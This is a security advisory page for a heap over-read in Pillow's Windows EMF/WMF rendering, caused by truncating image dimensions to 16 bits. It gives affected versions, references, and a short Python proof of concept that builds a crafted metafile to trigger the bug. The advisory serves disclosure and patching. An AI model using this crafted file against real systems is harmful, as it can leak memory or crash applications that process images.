GHSA-9V9V-9QVF-H2HJ
Vulnerability from github – Published: 2026-10-22 16:03 – Updated: 2026-10-22 16:03Summary
On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native drawwmf handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.
Details
The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:
src/PIL/WmfImagePlugin.py:121-129reads the bounding box;:148stores it; the size reaches the native handler throughsrc/PIL/WmfImagePlugin.py:56.
In the native handler the DIB header fields bcWidth and bcHeight are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:
src/display.c:793-794assign the 16-bit fieldssrc/display.c:800sizes the allocation from themsrc/display.c:827copiesheight * ((width * 3 + 3) & -4)bytes using the full values
The whole handler is compiled only on Windows (#ifdef _WIN32, src/display.c:33-841).
PoC
import struct
from PIL import Image
def L(v):
return struct.pack("<i", v)
# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the
# decompression-bomb check, but the width truncates to 16 bits for the allocation while
# the copy uses 70000.
emf = b"\x01\x00\x00\x00" + L(88) # record type + size
emf += L(0) + L(0) + L(70000) + L(1) # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100) # rclFrame (non-zero, used for the dpi calc)
emf += b" EMF" # signature at offset 40
emf += bytes(44)
open("poc.emf", "wb").write(emf)
im = Image.open("poc.emf")
print("size:", im.size, "pixels:", im.size[0] * im.size[1])
im.load() # over-read happens here on a Windows build
On Linux the first part is observable: the 88-byte file opens, size is (70000, 1), and the bomb check passes. The native over-read only exists on Windows because Image.core.drawwmf is compiled out elsewhere (on Linux im.load() raises OSError instead).
Impact
CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Pillow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-96644"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-22T16:03:14Z",
"nvd_published_at": "2026-10-21T21:20:32Z",
"severity": "HIGH"
},
"details": "### Summary\nOn Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native `drawwmf` handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.\n\n### Details\nThe EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:\n\n- `src/PIL/WmfImagePlugin.py:121-129` reads the bounding box; `:148` stores it; the size reaches the native handler through `src/PIL/WmfImagePlugin.py:56`.\n\nIn the native handler the DIB header fields `bcWidth` and `bcHeight` are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:\n\n- `src/display.c:793-794` assign the 16-bit fields\n- `src/display.c:800` sizes the allocation from them\n- `src/display.c:827` copies `height * ((width * 3 + 3) \u0026 -4)` bytes using the full values\n\nThe whole handler is compiled only on Windows (`#ifdef _WIN32`, `src/display.c:33-841`).\n\n### PoC\n```python\nimport struct\nfrom PIL import Image\n\ndef L(v):\n return struct.pack(\"\u003ci\", v)\n\n# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the\n# decompression-bomb check, but the width truncates to 16 bits for the allocation while\n# the copy uses 70000.\nemf = b\"\\x01\\x00\\x00\\x00\" + L(88) # record type + size\nemf += L(0) + L(0) + L(70000) + L(1) # rclBounds: x0, y0, x1, y1\nemf += L(0) + L(0) + L(100) + L(100) # rclFrame (non-zero, used for the dpi calc)\nemf += b\" EMF\" # signature at offset 40\nemf += bytes(44)\nopen(\"poc.emf\", \"wb\").write(emf)\n\nim = Image.open(\"poc.emf\")\nprint(\"size:\", im.size, \"pixels:\", im.size[0] * im.size[1])\nim.load() # over-read happens here on a Windows build\n```\n\nOn Linux the first part is observable: the 88-byte file opens, `size` is `(70000, 1)`, and the bomb check passes. The native over-read only exists on Windows because `Image.core.drawwmf` is compiled out elsewhere (on Linux `im.load()` raises `OSError` instead).\n\n### Impact\nCWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.",
"id": "GHSA-9v9v-9qvf-h2hj",
"modified": "2026-10-22T16:03:14Z",
"published": "2026-10-22T16:03:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-9v9v-9qvf-h2hj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96644"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/pull/10120"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/4cf46bee338304c5c8968fd7f132ba0d40c428b7"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.